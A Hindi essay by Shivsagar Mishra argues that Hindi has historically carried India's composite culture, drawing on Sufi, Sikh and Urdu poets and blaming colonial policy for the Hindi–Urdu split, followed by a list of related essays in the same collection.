हिन्दी:सामासिक संस्कृति की संवाहिका -शिवसागर मिश्र  

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लेखक- शिवसागर मिश्र

          भारत एक अद्भुत और अपूर्व देश है। वैसे तो आदिकाल में प्रत्येक देश और प्रदेश की जाति या समाज का गठन विभिन्न जन (ट्राइब, कबीला) के समंजन से हुआ होगा, किंतु जितनी विभिन्नता और अनेकता भारत के सामाजिक, प्रादेशिक और राष्ट्रीय गठन में मिलती है, उतनी शायद अन्यत्र नहीं मिलती और इसके बावजूद यह देश चौथी सदी ईसवी पूर्व से एकता के सूत्र में आबद्ध है। महाकवि रवींद्रनाथ ठाकुर ने भारत के इसी स्वरूप को देख कर लिखा
हेथाय आर्य हेथाय अनार्य
हेथाय द्रविड़ चीन,
शक हूण दल पठान मुग़ल
एक देहे होलो लीन।
          बाहर से आने वाली विभिन्न जातियां अपनी पूर्व जाति को कायम न रख सकीं और इस देश की मुख्य धारा में मिलती चली गई। विभिन्न धर्मालंबियों, मत मतांतरों, आचार विचार वालों और विभिन्न जातियों को इस देश ने शरण दी। यहां के निवासी तो यहां की भाव धारा के साथ प्रवाहित होते ही रहे, बाहर से आने वाले भी इस देश की मुख्य सांस्कृतिक धारा से खुद को अलग नहीं रख सके। इस प्रकार इस देश में बाहर से आने वाले धर्मों या यहां की धरती से उद्भूत धर्मों, पंथों आदि में सांस्कृतिक विरोध की जगह सद्भावपूर्ण एकता की अंतः सलिला सरस्वती की तरह प्रवाहित होती रही।
          जिस प्रकार राष्ट्र किसी धर्म, संप्रदाय, जाति अथवा भाषा की विभिन्नता से ऊपर रहता है, उसी प्रकार राष्ट्रभाषा भी विभिन्न जातियों, उपजातियों, धर्मों, संप्रदायों से ऊपर रहती है। इतिहास साक्षी है कि किसी देश की जातीय भाषा को न तो दबाया जा सकता है न ही उसे बल पूर्वक समाप्त किया जा सकता है। यदि जोर जबर्दस्ती से ऐसा करने का प्रयत्न किया जाता है तो शासन के बदलने का खतरा उत्पन्न हो जाता है। पूर्वी पाकिस्तान का बांग्ला देश में परिवर्तन इस कथन की सत्यता को सिद्ध करता है। यह भी ज़रूरी नहीं है कि धर्म एक होने से उनकी भाषा भी एक हो, अन्यथा अफ़ग़ानिस्तान, अरब, ईरान, तुर्की, पाकिस्तान और बांगलादेश की भाषा एक ही होती।
          निर्विवाद रूप से कहना कठिन है कि पहले भाषा का जन्म हुआ या समाज का। लिखित सामग्री के आधार पर आभास मिलता है कि दोनों का जन्म पारस्परिक प्रयोजन की सिद्धि के लिए हुआ। अधिकांश शोधकर्ताओं के विचार में भाषा का जन्म लघु जातियों या जन के गठन से पूर्व ही हो चुका होता है। कृषि सभ्यता के आने से पूर्व, अति प्राचीन काल में, घुमंतू जनों के मिश्रण से भाषा का परिवार परिपुष्ट और समृद्ध हुआ होगा। कृषि सभ्यता आते आते जन तथा जनपद ने संगठन का रूप ले लिया होगा और उनकी अपनी भाषा ने लगभग निश्चित रूप ग्रहण कर लिया होगा।
          भाषा को संस्कृति की संवाहिका कहा गया है। यह सही भी है। भाषा संस्कृति का महत्वपूर्ण अंग है, लेकिन संस्कृति नहीं है। मनुष्य ने आदिम काल से अब तक प्रकृति से और परिवेश से संघर्ष किया है और वह निरंतर संघर्ष करता आ रहा है। जीवित रहने के लिए और जीवन यापन के लिए उसे प्रकृति को अपने अनुकूल बनाना पड़ता है। इस क्रिया को सिद्ध करने के लिए उसे अनेका अनेक भौतिक उपकरण जुटाने पड़ते हैं। आदि काल में तो उसे आयुधों और अस्त्रों का आविष्कार करना पड़ा होगा। आस पास की परिस्थिति एवं परिवेश पर नियंत्रण रखने के लिए कई उद्यम करने पड़े होंगे। इस प्रक्रम में उसे अपने क्रिया कलापों, आचारा विचार, भाव अनुभाव की बाह्य औय आंतरिक सम विषम स्थिितियों से गुजरना पड़ा होगा। इस अनवरत प्रक्रिया में उसका सपना अपना और सामाजिक विकास भी हुआ होगा। जाहिर है, इस दौर में अनिवार्य उपलब्धि के रूप में भाषा के साथ साथ उसकी संस्कृति भी उपजी होगी।
          कुछ विद्वानों का मत है कि जो कुछ हम है, वह संस्कृति है, और जो कृछ हमारे पास है, वह हमारी सभ्यता का प्रतीक है। शारीरिक भौतिक सुविधाएं तथा बिजली, रेडियो टेलीफोन, दूरदर्शन, सोफासेट, फ्रिज आदि सभ्यता की निशानी हैं, किंतु संस्कृति मनुष्य की मानसिकता का प्रतिनिधित्व करती है। यह मनुष्य के आंतरिक गुणों में अभिव्यक्त होती है। व्यवहार, शील, क्षमा, सत्यनिष्ठा, धीरज, सहनशीलता दया, प्रेम आदि सांस्कृतिक गुण हैं। रामकृष्ण परमहंस के पास भौतिक सुविधाएं नहीं थी किंतु कोई नहीं कह सकता कि वे संस्कृृति सम्पन्न नहीं थे। निजामुद्दीन औलिया के पास जीवन यापन करने के लिए आवश्यक साधन नहीं थे फिर वों उस समय के शासकोें से मिलने तक की इच्छा नहीं रखते थे। इसके बावजूद उनके पास अमूल्य सांस्कृतिक निधि थी।
          संस्कृति और प्रकृति में बहुधा विरोधाभास देखा जा सकता है। काम, क्रोध, लोभ मोह आदि प्राकृतिक वृृत्तियां हैं, किंतु इनका नियमन संस्कृति द्वारा ही किया जा सकता है। विख्यात विचारक रूसो ने कहा है:- ‘जैसे-जैसे समाज में शिक्षित लोगों की संख्या बढ़ती जाती है, वैसे वैसे सत्यवादियों की संख्या घटती जाती है।’ कहने का अर्थ शिक्षा से या विज्ञान की उपलब्धियों से मनुष्य सभ्य तो होता है, लेकिन वह उसी अनुपात मे प्रायः मनुष्यता से और मानवोचित गुणों से दूर होने लगता है। बुद्ध, महावीर, शंकर, रामानंद, रामकृष्ण, स्वामी विवेकानन्द, स्वामी दयानंद, महर्षि रमण, निजामुद्दीन औलिया, कबीर आदि को यदि आज के अत्याधुनिक समाज के समक्ष ला खड़ा किया जाए, तो वे अर्द्धनग्न, असभ्य आदि की विशेषता से ही विभूषित होंगे, कितु उन्हें यदि हम अपने सांस्कृतिक, सामाजिक या जातीय इतिहास से भी निकाल दें तो हमारी संस्कृति अनाथ हो जायेगी। संस्कृति का जो उत्स उनके पास था, उसी की सुशीतल धारा में भारत का उत्तर दक्षिण, पूर्व पश्चिम आप्लावित हुआ। डाॅ रामविलास शर्मा ने सभ्यता की देन को भौतिक संस्कृति की संज्ञा दी है और मनुष्य की भाव धारा, संवेदना आदि को संस्कृति में शामिल किया है जहां तक मूल संस्कृति का प्रश्न है, भारत की संस्कृति उदात्त भावनाओं, मानवीय मूल्यों तथा सह अस्तित्व, अहिंसा, प्रेम, सद्भाव, दया, सत्य परिग्रह आदि की सूक्ष्म अभिव्यक्ति है। यह सांस्कृतिक देन एक दो वर्षाें की नहीं, बल्कि हजारों वर्षों से यहां प्रवाहित भाव धारा और संवेदनाओं से उद्भूत है। सर्वविदित है कि यहां हिन्दू (यह शब्द मुसलमानों की देन है), बौद्ध, पारसी, मुसलमान, सिख, ईसाई अनेक होते हुए भी एक ही भाव धारा से जीवन शक्ति प्राप्त करते रहे हैं। आचार की दृष्टि से विभिन्न धर्मावलंबियों और विभिन्न संप्रदायों में निसंदेह भिन्नता रही है, किंतु सबकी अनुभूति रही है कि विचार के धरातल पर वे कहीं न कहीं एक दूसरे से जुड़े हुए हैं। यही कारण है कि भारत की संस्कृति को सामासिक संस्कृति कहा गया है। सामासिकता का यह अर्थ नहीं कि यहां की विभिन्न संस्कृतियां एक दूसरे में विलीन हो गईं हों, बल्कि उनका आपस में सह अस्तित्व रहा है। यह सद्भाव और सौहार्द्र की अनुभूति ही यहां की मूल धारा रही है, जिसकी पृष्ठभूमि में यहां के संतों, सूफियों और गुरुओं ने शश्वत रचनाएं की हैं। यह सामासिक संस्कृति सर्वदा यहां के सामाजिक और प्राकृतिक परिवेश पर विजय पाने का एक साधन बनी रही है। इस संस्कृति में यहा के निवासियों के भाव, विचार, संस्कार, संवेदनाएं आदि शामिल हैं। इस दृष्टि से भाषा भी संस्कृति का अर्थ देने लगती है। डाॅ० रामविलास शर्मा के विचारों के अनुसार देखा जाए तो यदि लकड़ी, पत्थर या धातुओं के बने आयुध स्थूल संस्कृति के प्रतीक हैं तो भाषा सूक्ष्म संस्कृति का प्रतीक है।
          भाषा लिखी जाती है, बोली जाती है और सुनी जाती है। यह मन और इंद्रियों का व्यापार है। उसके अर्थ का आधार यह भौतिक जगत है। भाषा मनुष्य की काल सापेक्ष और देश सापेक्ष चेतना है, मनुष्य का दूसरे मनुष्यों और बाह्य जगत सशक्त आक्र सार्थक संबंध स्थापित करने वाली अपरिहार्य कड़ी है। आचार्य दंडी ने कहा है कि: ‘‘यह संपूर्ण त्रैलोक्य सघन अंधकार में निमग्न हो जाता, यदि सृष्टि के आरंभ में शब्द ज्योति (भाषा) का प्रकाश न हुआ होता।’’ भाषा का नेत्र ग्राह्य, श्रोत ग्राह्य, स्पर्श ग्राह्य या सांकेतिक, वाचक, लिखित एवं यांत्रिक स्थितियों में रखा गया है। ध्यान देने की बात है कि इस देश में, विशेषकर मध्य देश में, जो भाषाएं बोली जाती रहीं है, उन्हें भाषा नाम से अभिहित किया है। भाषा के साथ हिन्दी शब्द का योग तो उर्दू के शायर मीर के बाद किया गया है। 18वीं सदी के अंत तक उर्दू शब्द का प्रयोग भाषा के अर्थ में नहीं मिलता।
मीर के समय उर्दू कवि अपनी भाषा को हिन्दी कहने में नहीं हिचकिचाते थे:-
क्या जानूं लोग कहते हैं किसको सरूर-ए-कल्ब
आया नहीं लफ्ज़ यह हिन्दी जबां के बीच।
इससे स्पष्ट होता है कि जिस भाषा में मीर के समय तक पद्य, गद्य की रचना होती थी, वह हिन्दी (हिन्दवी-दक्खिनी) ही थी। इसी भाषा में यहां के विभिन्न धर्मावलंबियों, पेशेवरों, संतों, नागरिकों का कार्य कलाप चलता था।
          यह कथन भ्रामक है कि मेल जोल की भाषा के रूप में उर्दू का उदय हुआ। मीर अम्मन (19वीं सदी के आरंभ में) ने इसका जन्म अकबर के समय माना था। 19वीं सदी के मध्य में सर सैयद हुसैन ने उर्दू साहित्य का इतिहास में लिखा है: ‘जब लड़ाइयों, चढ़ाइयों, आक्रमणों ओर संग्रामों से उत्पन्न होने वाली घृणा की लहर उठी, तो हिन्दुओं और मुसलमानों के हृदय में मेल मुहब्बत के स्रोत फूट पड़े, जिन्होंने कला और धर्म सबको लपेट में ले लिया और उनके भावों, विचारों और कल्पनाओं को एक दूसरे के समीप कर दिया। भक्ति को एक लोकप्रिय और उस समय की समस्याओं को देखते हुए प्रगतिशीन आंदोलन बनाने में हिन्दू और मुसलमानों दोनों भक्तों का हाथ है। जब आचार विचार की सीमाएं इस प्रकार निकट आ गई हो तब एक ऐसी भाषा के जन्म लेने की संभावना दूर नहीं रह जाती जो मिले जुले सामाजिक जीवन का चिह्न हो। डाॅ० रामविलास शर्मा ने इस विचार से असहमति व्यक्त करते हए लिखा है: ‘हिन्दी उर्दू का एक सामान्य आधार है बोलचाल की खड़ी बोली। इस खड़ी बोली में अरबी फारसी के कुछ या बहुत ज्यादा शब्द आ मिले, तो इससे एक नई भाषा नहीं उत्पन्न हो गई। यह खड़ी बोली मुसलमानों के आने से पहले भी थी, उनके शासनकाल में रही और आज भी है। एक दूसरी बात ध्यान देन की है कि जितना ही हम पुराने ज़माने के उर्दू लेखकों की रचनाएं पढ़ते हैं, उतना ही साधारणतयः अरबी फारसी के शब्दों की खपत कम मिलती है। जितना ही बीसवीं सदी की ओर बढ़ते हैं, उतना ही यह खपत बढ़ती जाती है। अगर बाहरवीं-तेहरवीं सदी में मेल जोल के लिए पांच फीसदी अरबी-फारसी शब्दों की ज़रूरत थी तो 1947 के आस पास यह ज़रूरत बढ़कर 85 फीसदी तक पहुंच गई। यानी ज्यों ज्यों मेल जोल बढ़ा, त्यों त्यो हिन्दी उर्दू का अलगाव बढ़ता गया। ‘मर्ज बढ़ता गया ज्यों दवा की।’
          ध्यान देने की बात यह है कि भारत में आने वाले मुसलमानों में तुर्क थे और पठान भी, मुग़ल थे और ईरानी भी। आठवीं सदी में अरब के मुसलमानों ने सिंध देश पर हमला किया। उनकी भाषा अरबी थी। बाबर तुर्की भाषा बोलता था। उसने अपनी आत्मकथा तुर्की में लिखी। किंतु इन सभी आक्रमणकारियो ने भारत में शासन स्थापित करने के बाद यहां की राजभाषा का पद तुर्की को नहीं, फारसी को दिया। कारण, उन दिनों अफ़गानिस्तान, तुर्की आदि देशों पर फरसी सांस्कृतिक प्रभुत्व थाा। ये सभी मुसलमान एक जाति के नहीं थे, बल्कि कई जातियों के थे, किंतु यहां आने के बाद वे यहां की जातियों (नेशनेलटी) का हिस्सा बन गये। जो इस प्रदेश में उसे उन्होंने वहां की बोलचाल की भाषा अपना ली। तुर्क, पठान और मुग़ल बादशाहों ने अपने शासन की भाषा के रूप में फारसी को स्वीकार किया जो उनकी मातृ भाषा नहीं थी। सच तो यह है कि भारत में आने वाले मुसलमान स्वयं जातीय और सांस्कृतिक उत्पीड़न के शिकार थे। कहने को शासन तुर्कों का था, लेकिन उनकी राजभाषा थी फारसी। पठानों ने दिल्ली पर राज किया, लेकिन दिल्ली और अफ़ग़ानिस्तान दोनों जगह राजभाषा थी फारसी। ये मुसलमान आक्रामक अलग अलग जातियों के थे और संख्या में कम थे, इनकी भाषा भी एक न थी इसलिए वे भारत की अग्रसर जातियों के मुकाबले में अपनी जातीयता की रक्षा न कर सके और उन्हीं में घुल मिल गये। आज भी बंगाल का मुसलमान बंगला बोलता है और पंजाब का पंजाबी। भोजपुरी इलाके के मुसलमानों की बालचाल की भाषा भोजपुरी है।
          अमीर खुसरो तुर्क थे, लेकिन लिखते थे फारसी और हिन्दी में। उन्हें हिन्दी से बेहद प्रेम था, उन्होंने लिखा:
चु मन तूतिए हिन्दम, अर रास्त पुरसी
जे मन हिन्दवी पुर्स, ता नग्ज़ गोयम।
          मैं हिन्दुस्तान की तूती हूं। अगर तुम कुछ पूछना चाहते हो तो हिन्दी में पूछो, मैं तुम्हें मैं तुम्हेें अनुपम बातें बता सकूंगा। अमीर खुसरो के पहले भी अनेक मुसलमानों ने हिन्दी में रचनाएं की थी। अमीर खुसरो चैदहवीं सदी में हुए थे। उन दिनों के मुसलमान हिन्दी के सहारे फारसी लिखते थे। इससे यह स्पष्ट होता है कि धर्म का भेद होने से जातीयता में भेद पैदा नहीं होता जैसे अरब, तुर्क, पठान ईरानी सब एक धर्म इस्लाम को मानने पर भी एक जाति के नहीं हो जाते। अकबर और जहांगीर के समय हाथियों और तोपों के जो नाम रखे जाते थे, उन पर गौर किया जाए तो मालूम होता है कि उस समय भी हिन्दी शब्दों का कितना महत्व था। हाथियों से खींची जाने वाली तोप को गजनल कहते थे और जिन्हें मनुष्य खींचते थे, उन्हें नरनल कहते थे। जहांगीर को रण रावत नामक हाथी भेंट किया गया था। उसके एक हाथी का नाम पंच कुंजर, दूसरे का नाम था फ़तह गज और तीसरे का फौज संगर। बादशाह जिस खिड़की पर जनता को दर्शन देता था, उसका नाम रखा गया था दर्शन झरोखा।
          600 वर्षों तक फारसी दिल्ली की राजभाषा रही और ईरान के सांस्कृतिक प्रभुत्व के कारण हिन्दी भाषी मुसलमान हिन्दी के सहारे फारसी सीखते रहे। उत्तरी भारत ईरानी और अरबी संस्कृति से प्रभावित था यही कारण है कि यहां हिन्दी में फारसी के शब्द क्रमशः बढ़ते गये जबकि दक्षिण इस ईरानी प्रभुत्व से मुक्त था। हम देखते हैं कि 14वीं सदी के मुहम्मद तुगलक ने जब देवगिरि को अपनी राजधानी बनाया तब काफ़ी संख्या में दिल्ली और उत्तर भारत के लोग वहां जाकर बस गए। बाद में राजधानी दिल्ली वापस आ गई, लेकिन दिल्ली से गए हुए अधिकांश लोग वहीं रह गये। वहां जिस आर्य भाषा (हिन्दवी) का विकास हुआ, वही बाद में चलकर दक्खिनी के नाम से विख्यात हुई। उन्हीं दिनों में वहां बहमनी राज्य की स्थापना हुई थी। विख्यात इतिहास ‘तारीखे फरिश्ता’ के अनुसार बहमनी बादशाह के राज्य कार्यालयों में हिसाब किताब हिन्दी भाषा में रखा जाता था। ख्वाजा बंदा नवाज गेसु दराज सूफी थे। वे सूफी फ़कीर के सबसे बड़े शिष्य थे। सन् 1412 ईसवी के लगभग वह गुलबर्गा (गोलकुंडा) चले आए और वहीं रहने लगे। वह साधारण जनता के लिए अपने विचार हिन्दीे में प्रकट किया करते थे। सूूफी मत के अन्य प्रचारक शाहजी मीरानजी थे। उन्होंने अपनी भाषा को स्वयं हिन्दी कहा है और इस संबंध में यह भी लिखा है कि मेरी रचनाएँ उन लोगों के लिए हैं जो अरबी फारसी नहीं जानते। स्वयं अमीर खुसरो सामासिक संस्कृति के अग्रदूत और हिन्दी के आदि कवि थे। शाहजी मीरानजी की रचनाओं का एक नमूूना इस प्रकार है:
ना उस रूप ना उस देह ना उस थान मकान।
निरगुन गुनवंता किस मुख करूं बखान।
ना मुझ लोभे पाट पितम्बर यह जर जमीं सिंगार।
फाटी फूटी कंबली नीकी फटा लिहाफ हमार।
          दसवीं सदी के आसपास आधुनिक भारतीय भाषाओं का उदय काल माना जाता है। उसी समय से हिन्दी भाषा का अस्तित्व है। इसे अखिल भारतीय स्वरूप प्रदान करने मेें प्रारंभिक दिनों में गुरु गोरखनाथ ने उत्तर, दक्षिण, पूर्व, पश्चिम में घूम घूमकर हिन्दी (ब्रजभाषा) में अपना संदेश प्रचारित प्रसारित किया। दक्षिण के अनेक गोरखपंथी मठों में खड़ीबोली हिन्दी की रचनाएं भी खोज निकाली गईं हैं। उत्तर भारत में हिन्दी बोलचाल की भाषा तो थी ही, विंध्याचल के दक्षिण गांव गांव और घर घर तक इस भाषा को पहुंचाने का श्रेय दक्खिनी को ही है। यदि हम हिन्दी साहित्य से महात्मा कबीर दास, मृगावती के रचयिता कुतबन, पद्मावत जैसे अमर काव्य के गायक मलिक मोहम्मद जायसी, चित्रावली के रचनाकार उसमान और ज्ञानदीप के रचयिता शेख नवी को निकाल दें तो कहना कठिन है कि हिन्दी साहित्य की स्थिति क्या हो जायेगी। नूर मोहम्मद, अब्दुल रहीम खानखाना और रसखान हिन्दी की श्रीवृद्धि में अलौकिक योगदान किया है। इन सभी कवियों का अविर्भाव उर्दू के जन्म से बहुत पहले हुआ। कहने का तात्पर्य यह है कि हिन्दी अपने जन्म से, प्रकृति से, अपनी आंतरिक शक्ति के सहारे भारत की सार्वदेशिक भाषा के रूप में और सामासिक संस्कृति की वाहिका बनकर विकसित और समृद्ध हुई है इसका यह इतिहास लगभग एक हजार वर्ष लंबा इतिहास है।
          कुछ विद्वानों के अनुसार गुरु नानक के समय (1469-1539) ये पंजाब में साहित्य निर्माण की परंपरा शुरू हुई। गुरु नानक ने अपने विचारों को अभिव्यक्त करने के लिए पंजाबी के अतिरिक्त सधुक्कड़ी और ब्रज भाषा का प्रयोग किया है। ब्रज भाषा और साधु भाषा को हिन्दी के अंतर्गत स्वीकार किया जाता है। गुरु नानक की एक प्रसिद्ध रचना है-‘आरती’ जिसमें लिखा है:
गगन में थालु रवि चंदु दीपक बने।
तारिका मंडल जनक मोती।।
धुपृ मलआनलो पवणु चवरो करे।
सगल बनराह फूलंत जोती।
कैसी आरती होई भवखंडना तेरी।
अनहता सबद बाजंत भेरी
          गुरु नानक के बाद जितने भी गुरु हंए उन्होंने अपना संदेश पंजाब से बाहर देश के कोन कोने तक पहुंचने का प्रयत्न किया। स्पष्ट ही उन्हें ऐसी भाषा की ज़रूरत थी जो सबकी समझ में आ सके। यही कारण है कि परवर्ती गुरुओं ने भी हिन्दी को ही अपनी अपनी अभिव्यक्ति का माध्यम बनाया। गुरु अंगद, गुरु अमरदास, गुरु रामदास ने तो हिन्दी में रचनाएं की ही, गुरु अर्जुन भी स्वयं महाकवि और दार्शनिक थे। साहित्यकार के रूप में उनका योगदान अमूल्य है। उनकी अधिकांश रचनाओं को पढ़कर यह कहना कठिन है कि ये हिन्दी में हैं या पंजाबी में। गुरु तेग़ बहादुर ने समस्त उत्तर भारत की यात्रा करके धर्मोेपदेश दिया। उनकी रचना का एक उदाहरणः-
साधो रचना राम बनाई।
इक बिनसे इक असथिरु माने अचरजु लखिउन जाई,
काम, क्रोध, मोह बवि प्रानी हरि सूरति बिसराई।
          अंग्रेजी हुकूमत के स्थापित होने से पहले शायद किसी ने कल्पना नहीं की थी कि धर्म के नाम पर मुसलमानों की अलग भाषा और अलग लिपि क्रमशः उर्दू, फारसी हो जाएगी और हिन्दुओं की हिन्दी तथा देवनागरी। लेकिन अंग्रेजों ने अपने लूट और शोषण को स्थायित्व देने के लिए हिन्दू और मुसलमानो में भेद डाल दिया, उनकी भाषाओं में अलगाव पैदा कर दिया। फूट और अलगाव का यह बीज डाला सन् 1798 ई० में जाॅन गिलक्राइस्ट ने। उन्होंने लिखा ‘हिन्दी को मैनें शुद्ध हिन्दुओं की चीज माना है। इसलिए मैंने लगातार उसका प्रयोग भारत की प्राचीन भाषा के लिए किया है जो मुसलमानी आक्रमण से पहले यहां प्रचलित थी। वह हिन्दुस्तानी का मूलाधार है। यह हिन्दुस्तानी अरबी फारसी से कुछ ही दिन पहले बनी हुई ऊपर की इमारत है। अंग्रेजी के लिए जैसे फ्रांसीसी और लैटिन हैं, वैसे ही हिन्दुस्तानी के लिए फारसी और अरबी हैं। अंग्रेज़ी का मूलाधार जैसे सेक्सन है, वैसे हिन्दुस्तानी का आधार हिन्दवी है।’ गरज के गिलक्राइस्ट ने ‘बदर बांट’ करने के उद्देश्य से भाषा को धर्म के साथ जोड़ दिया। ‘इस्लाम’ ने ‘उर्दू’ को दूर दूर तक पहुंचाया है। बंगाल और उड़ीसा में भी हमें मुसलमान नेटिव मिलते हैं जिनकी वर्नाक्युलर उनके प्रदेशवासियों की नहीं होती, वरन् दिल्ली और लखनऊ की जबान बोलने की कोशिश, अक्सर भद्दी कोशिश होती है।’ डाॅ० रामविलास शर्मा ने लिखा है कि ‘ग्रियर्सन को कुछ खानसामा वगैरह मिले हों जो यह समझकर कि साहब हिन्दुस्तानी समझता है, दिल्ली और लखनऊ की जुबान बोलते हों। साधारण नियम यही है कि हर प्रदेश में मुस्लिम जनसाधारण वहीं की भाषा बोलते हैं’
          बहराल, गिलक्राइस्ट ने फोर्ट विलियम काॅलेज में हिन्दी और उर्दू के लिए अलग अलग मुंशी रखकर यह ज़हर घोल दिया कि हिन्दी अलग भाषा है और यह हिन्दुओं की है तथा उर्दू अलग जुबान है जो मुसलमानों की है। इसके बावजूद एक ही भाषा की दो शैलियां हिन्दी और उर्दू भारत की सामासिकता की वाहिका बनी रहीं।
          1951 की जनगणना के अनुसार देश में पढ़े लिखे लोगों की संख्या 16.2 प्रतिशत थी जिनमें अंग्रेजी पढ़े लिखे केवल एक प्रतिशत थे। इन अंग्रेजी पढ़े लिखों की गिनती हाईस्कूल परीक्षा को मानदंड मानकर की गई थी। इसका मतलब है कि राजनीतिक और सांस्कृतिक कामोें के लिए अंग्रेजी का व्यवहार करने की क्षमता वाले लोग 0.25 प्रतिशत से अधिक नहीं थे। निश्चय ही, जब अंग्रेजी राजभाषा बनी होगी तब इस स्तर के अंग्रेजी पढ़े लिखे लोगों की संख्या नगण्य रही होगी। उन्होंने हिन्दी के माध्यम से ही अपने धर्म का प्रचार प्रसार किया। गरज यह कि सैकड़ों वर्षों से जिस किसी को भी जन संपर्क करने की आवश्यकता महसूस हुई, भले ही वह शासक हो या शासित, उसने हिन्दी माध्यम का उपयोग किया। हिन्दी जातीय, सांस्कृतिक और राष्ट्रीय अनिवार्यता के रूप में भारत के असंख्य जनों द्वारा राष्ट्रभाषा के रूप में स्वीकार की गई।
          19वीं सदी में तो भारत में राष्ट्रीयता का उदय ही सांस्कृतिक नवजागरण और हिन्दी आंदोलन के साथ-साथ हुआ और प्रकाश की ये किरणें फूटीं बंगाल से।

टीका टिप्पणी और संदर्भ

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42. भारत की राजभाषा नीति श्री कृष्णकुमार श्रीवास्तव
43. विदेश दूरसंचार सेवा श्री के.सी. कटियार
44. कश्मीर में हिन्दी : स्थिति और संभावनाएँ प्रो. चमनलाल सप्रू
45. भारत की राजभाषा नीति और उसका कार्यान्वयन श्री देवेंद्रचरण मिश्र
46. भाषायी समस्या : एक राष्ट्रीय समाधान श्री नर्मदेश्वर चतुर्वेदी
47. संस्कृत-हिन्दी काव्यशास्त्र में उपमा की सर्वालंकारबीजता का विचार डॉ. महेन्द्र मधुकर
48. द्वितीय विश्व हिन्दी सम्मेलन : निर्णय और क्रियान्वयन श्री राजमणि तिवारी
49. विश्व की प्रमुख भाषाओं में हिन्दी का स्थान डॉ. रामजीलाल जांगिड
50. भारतीय आदिवासियों की मातृभाषा तथा हिन्दी से इनका सामीप्य डॉ. लक्ष्मणप्रसाद सिन्हा
51. मैं लेखक नहीं हूँ श्री विमल मित्र
52. लोकज्ञता सर्वज्ञता (लोकवार्त्ता विज्ञान के संदर्भ में) डॉ. हरद्वारीलाल शर्मा
53. देश की एकता का मूल: हमारी राष्ट्रभाषा श्री क्षेमचंद ‘सुमन’
विदेशी संदर्भ
54. मारिशस: सागर के पार लघु भारत श्री एस. भुवनेश्वर
55. अमरीका में हिन्दी -डॉ. केरीन शोमर
56. लीपज़िंग विश्वविद्यालय में हिन्दी डॉ. (श्रीमती) मार्गेट गात्स्लाफ़
57. जर्मनी संघीय गणराज्य में हिन्दी डॉ. लोठार लुत्से
58. सूरीनाम देश और हिन्दी श्री सूर्यप्रसाद बीरे
59. हिन्दी का अंतर्राष्ट्रीय परिप्रेक्ष्य श्री बच्चूप्रसाद सिंह
स्वैच्छिक संस्था संदर्भ
60. हिन्दी की स्वैच्छिक संस्थाएँ श्री शंकरराव लोंढे
61. राष्ट्रीय प्रचार समिति, वर्धा श्री शंकरराव लोंढे
सम्मेलन संदर्भ
62. प्रथम और द्वितीय विश्व हिन्दी सम्मेलन: उद्देश्य एवं उपलब्धियाँ श्री मधुकरराव चौधरी
स्मृति-श्रद्धांजलि
63. स्वर्गीय भारतीय साहित्यकारों को स्मृति-श्रद्धांजलि डॉ. प्रभाकर माचवे


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